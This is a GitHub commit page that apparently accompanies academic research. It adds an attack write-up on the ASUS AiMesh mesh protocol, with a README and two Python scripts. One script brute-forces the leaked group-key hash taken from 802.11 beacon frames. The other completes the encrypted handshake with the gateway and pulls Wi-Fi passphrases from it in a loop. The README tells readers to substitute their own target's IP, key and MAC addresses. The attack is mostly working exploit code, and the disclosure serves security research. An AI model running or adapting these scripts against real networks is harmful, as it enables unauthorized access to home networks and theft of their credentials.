Skip to content

Commit

Permalink
Add ASUS results
Browse files Browse the repository at this point in the history
  • Loading branch information
zhouxinan committed Oct 1, 2024
1 parent 023ab35 commit 77d9ff4
Show file tree
Hide file tree
Showing 5 changed files with 281 additions and 0 deletions.
40 changes: 40 additions & 0 deletions ASUS/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
# ASUS AiMesh Attack
## Intro
In this write-up, we use ASUS XT8 HW Ver: 1.0, firmware version 3.0.0.4.388_24609 as an illustration example.

The ASUS AiMesh protocol is one kind of upper-layer NAPS protocol. In its original version, it combined "group_id"/"cfg_group" with random nonces (Ns and Nc) to encrypt TCP payloads.

Thus, the key to breaking this protocol is that an attacker should get/steal the value of "group_id"/"cfg_group" through some means. Luckily, we spot a cross-layer key leakage: a special hash value of "group_id"/"cfg_group" is leaked at 802.11 link layer.

## Attack Step 1: Collect "group_id"/"cfg_group" hashes

![](./cfg_group_leak.png)

First, collect some 802.11 beacon frames from fronthaul links of the XT8 mesh network. Scroll down to the vendor specific information for "ASUSTek". Take out the 0x14 bytes after "\x03\x14": "\x03\xed\x8e\xd7\x51\xeb\x51\x31\x03\x6a\x14\x70\x10\x34\x38\x0c\x66\xfc\x7a\xc9".

The last 4 bytes "\x66\xfc\x7a\xc9" is T(pub), the first 0x10 bytes is H(GID), as illustrated in the paper.

We query the ARP cache to obtain the MAC address of the gateway 192.168.50.1 to be "04:42:1A:B4:C1:B0". We thus use the following python3 script to enumerate all possible values of T~pub. Download the file at [here](./compute_Tpri.py)

After running this script, we obtain "found: 1718158561". This is the value of T~pri. We thus reconstruct cfg_group:

`➜ ~ md5 -s 04:42:1A:B4:C1:B0_1718158561
633ed873722e542e6ccb037737a38c5d`

"633ed873722e542e6ccb037737a38c5d" is the correct value of "cfg_group" stored in mesh nodes' NVRAM.

## Attack Step 2: Use guessed "cfg_group" to pull access policies from the gateway
Finally, we put such "cfg_group" value in the script below to pull Wi-Fi passphrases continuously. Download the file at [here](./asus_pull_wifi_passphrase.py)

Install dependencies as needed.

Change the hard-coded gateway IP address 192.168.50.1 to your own address.

Change the "cfg_group" value of "633ED873722E542E6CCB037737A38C5D" to your own value.

Change "04:42:1A:C8:3E:30" to an existing extender node's MAC address.

As we can see, the Wi-Fi passphrase is "nullRiver1":

![](./asus_pull_passphrase_result.png)

Binary file added ASUS/asus_pull_passphrase_result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
216 changes: 216 additions & 0 deletions ASUS/asus_pull_wifi_passphrase.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,216 @@
from pwn import *
from Crypto.PublicKey import RSA as rsa
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import hashlib
import time

BLOCK_SIZE = 32 # Bytes

crc32_table =[
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D]

def crc32(binaries):
crc = 0
index = 0
while index < len(binaries):
crc = crc32_table[(crc & 0xFF) ^ binaries[index]] ^ (crc//256)
index = index + 1
return crc

context.endian = "big"
context.log_level = "DEBUG"

p = remote("192.168.50.1", 7788) # connect to server

# ---- cm_processREQ_KU ----
print("[*] Get public key...")
opcode = 0x1
tlv_len = 0x1
tlv_crc = 0x0
tlv = b"\x00"
REQ_KU = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + tlv # request for public key
p.send(REQ_KU)
p.recv(12) # skip header
public_key = p.recv()[:-1].decode()
print(public_key)
f = open("./public.rsa", "w")
f.write(public_key)
f.close()
p.close()
# --------------------------

# ---- create tlv data ----
banner1 = 0x1
data1_len = 32 # aes256
aes_key = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # we select an AES master key to use.
aes_crc = crc32(aes_key) & 0xffffffff

banner2 = 0x3
data2_len = 0x8
data2 = b"b" * 0x8 # This is client nonce.
data2_crc = crc32(data2) & 0xffffffff
tlv = p32(banner1) + p32(data1_len) + p32(aes_crc) + aes_key + p32(banner2) + p32(data2_len) + p32(data2_crc) + data2
# # # -------------------------

# # # ---- rsa encrypt ----
with open('./public.rsa') as f:
key = f.read()
pubobj = rsa.importKey(key)
pubobj = PKCS1_v1_5.new(pubobj)
enc_text = pubobj.encrypt(tlv)
# # # ---------------------

# # # ---- create payload data ----
tlv_len = len(enc_text)
tlv_crc = crc32(enc_text)
payload = p32(tlv_len) + p32(tlv_crc) + enc_text
# # # -----------------------------

# # # ---- cm_processREQ_NC ----
opcode = 0x3
data = p32(opcode) + payload
p = remote("192.168.50.1", 7788)
p.send(data)
p.recv(12) # skip header
aes_enc_data = p.recv()
print("aes_enc_data: ", aes_enc_data)
# p.close()
# # --------------------------

# # # ---- aes decrypt ----
def aes_decode(data, key):
aes = AES.new(key, AES.MODE_ECB)
decrypted_text = aes.decrypt(data)
return decrypted_text

server_nonce_data2 = aes_decode(aes_enc_data, str.encode("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"))
print("server_nonce_data2:", server_nonce_data2)
server_nonce = server_nonce_data2[12:12 + 32]
print("server_nonce:", server_nonce)
custom_data = b"bbbbbbbb"
_hash = hashlib.sha256()
_hash.update(b"633ED873722E542E6CCB037737A38C5D" + server_nonce + custom_data) # session key algo is proved to be correct. the binary string is "nvram get cfg_group"
session_key = _hash.hexdigest()
print("session_key:", session_key)
print("session_key type:", type(session_key))
# # ---------------------

# # ---- cm_processREP_OK ----
opcode = 0x5
payload = p32(opcode) + p32(0) + p32(0)
p.send(payload) # if server return 0x6000000, means success.
res = u32(p.recv(4))
if res != 6:
print("[-] Error: handshake failed.")
exit(0)
print("[+] Handshake successed.")
p.recv()
# p.close()
# --------------------------

# ----cm_processREQ_JOIN ----
def aes_encode(data, key):
aes = AES.new(key, AES.MODE_ECB) # AES.new accepts key as type bytes.fromhex.
return aes.encrypt(data)

opcode = 0xf
_payload = b"{\"mac\": \"04:42:1A:C8:3E:30\"}"
_rop = aes_encode(pad(_payload, BLOCK_SIZE), bytes.fromhex(session_key))

tlv_len = len(_rop)
tlv_crc = crc32(_rop)
payload = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + _rop
p.send(payload)
p.recv(12) # skip header
aes_enc_data = p.recv()
print("session_key type:", type(session_key))
aes_decode_using_session_key = aes_decode(aes_enc_data, bytes.fromhex(session_key))
print("aes_decode_using_session_key:", aes_decode_using_session_key)
p.close()

while (True):
try:
p = remote("192.168.50.1", 7788)
opcode = 0x8
_payload = b'{"mac": "04:42:1A:C8:3E:30", "cfg_ver": 13184026}'
_rop = aes_encode(pad(_payload, BLOCK_SIZE), bytes.fromhex(session_key))

tlv_len = len(_rop)
tlv_crc = crc32(_rop)
payload = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + _rop
p.send(payload)
p.recv(12)
aes_enc_data = p.recv()
aes_decode_using_session_key = aes_decode(aes_enc_data, bytes.fromhex(session_key))
print("aes_decode_using_session_key:", aes_decode_using_session_key)
p.close()
time.sleep(0.5)
except Exception as e:
print("decrypt failed")

Binary file added ASUS/cfg_group_leak.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
25 changes: 25 additions & 0 deletions ASUS/compute_Tpri.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
import hashlib
import os
import signal
from multiprocessing import Pool

_MAC = '04:42:1A:B4:C1:B0'
_TIMESTAMP = 0x66fc7ac9
_HASH = bytes.fromhex('03ed8ed751eb5131036a14701034380c')
group_id_pre_hash = hashlib.md5((_MAC + "_").encode())
timestamp_pre_hash = (_TIMESTAMP << 96) + (_TIMESTAMP << 64) + (_TIMESTAMP << 32) + _TIMESTAMP

def check(number):
number_str = str(number)
group_id = group_id_pre_hash.copy()
group_id.update(number_str.encode())
hash_result = (int.from_bytes(group_id.digest(), 'big') & timestamp_pre_hash).to_bytes(16, 'big')
hash_result = hashlib.sha256(hash_result).digest()[0:16]
if hash_result == _HASH:
print('found:', number_str)
os.kill(os.getppid(), signal.SIGTERM)

if __name__ == '__main__':
with Pool(os.cpu_count()) as p:
signal.signal(signal.SIGTERM, lambda sig, _: exit(0))
p.map(check, range(1600000000, 1800000000), chunksize=20000)

0 comments on commit 77d9ff4

Please sign in to comment.